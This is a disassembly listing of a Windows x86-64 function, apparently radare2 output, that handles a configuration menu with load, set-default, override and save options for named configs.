mov rax, qword [rbp + 0xf90]
cmp rax, qword [rbp + 0xf98]
je 0x1400a2e15
nop word [rax + rax]
lea rbx, [rax + 0x10]
mov rdx, rbx
lea rcx, [rbp + 0xfc0]
call fcn.140002660
movzx eax, byte [rbx + 0x20]
mov byte [rbp + 0xfe0], al
lea rdx, [0x1402368c0]
lea rcx, [rbp + 0xfc0]
call fcn.14005b500
movzx ebx, al
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
lea rcx, [rbp + 0xfc0]
call fcn.140001ba0
lea r9, [rsp + 0x70]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e340
test al, al
je 0x1400a2ddd
lea rdx, [rbp + 0xfc0]
lea rcx, [0x1402368c0]
call fcn.1400041f0
test bl, bl
je 0x1400a2deb
call fcn.1400149e0
nop
lea rcx, [rbp + 0xfc0]
call fcn.140002800
mov rax, qword [rbp + 0xf90]
mov rax, qword [rax]
mov qword [rbp + 0xf90], rax
cmp rax, qword [rbp + 0xf98]
jne 0x1400a2d60
lea rcx, [rbp + 0x1048]
call fcn.14005a8f0
lea rcx, [rbp + 0x1038]
call fcn.140064360
call fcn.140018c70
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, str.Load_Selected_Config
call fcn.140034710
test al, al
je 0x1400a2e8e
cmp qword [0x1402368d0], 0
je 0x1400a2e8e
lea rdx, [0x1402368c0]
lea rcx, [rbp + 0x3c0]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cd78]
call fcn.1400dc6b0
mov dword [rbp - 0x80], 0
mov dword [rbp - 0x7c], 0
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, str.Set_Selected_As_Default
call fcn.140034710
test al, al
je 0x1400a2ee7
cmp qword [0x1402368d0], 0
je 0x1400a2ee7
lea rdx, [0x1402368c0]
lea rcx, [rbp + 0x3e0]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cd78]
call fcn.1400e1b90
mov dword [rbp - 0x78], 0
mov dword [rbp - 0x74], 0
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, str.Override_Selected_Config
call fcn.140034710
test al, al
je 0x1400a2f40
cmp qword [0x1402368d0], 0
je 0x1400a2f40
lea rdx, [0x1402368c0]
lea rcx, [rbp + 0x400]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cd78]
call fcn.1400df030
lea rcx, str.Settings
call fcn.140036660
mov dword [rbp - 0x70], 0
mov dword [rbp - 0x6c], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rbx, [0x1402389f8]
mov r8, rbx
lea rdx, [0x1401b2ea8]
lea rcx, str.Cfg_Name
call fcn.14003ad40
mov dword [rbp - 0x68], 0
mov dword [rbp - 0x64], 0
xor r8d, r8d
lea rdx, [rbp - 0x68]
lea rcx, str.Save_Config
call fcn.140034710
test al, al
je 0x1400a302b
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xfa0]
call fcn.1400029d0
nop
inc r15
cmp byte [rbx + r15], 0
jne 0x1400a2fd1
mov r8, r15
mov rdx, rbx
lea rcx, [rbp + 0xfa0]
call fcn.140004440
nop
cmp qword [rbp + 0xfb0], 0
je 0x1400a301f
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x420]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cd78]
call fcn.1400df030
nop
lea rcx, [rbp + 0xfa0]
call fcn.140002800
call fcn.140040750
nop
lea rcx, [rbp + 0x1008]
call fcn.14005a8f0
lea rcx, [rbp + 0xff8]
call fcn.140064360
call fcn.14003ee80
call fcn.140013f60
mov rcx, qword [rbp + 0x1070]
xor rcx, rsp
call fcn.140198db0
lea r11, [rsp + 0x1180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140069760
int3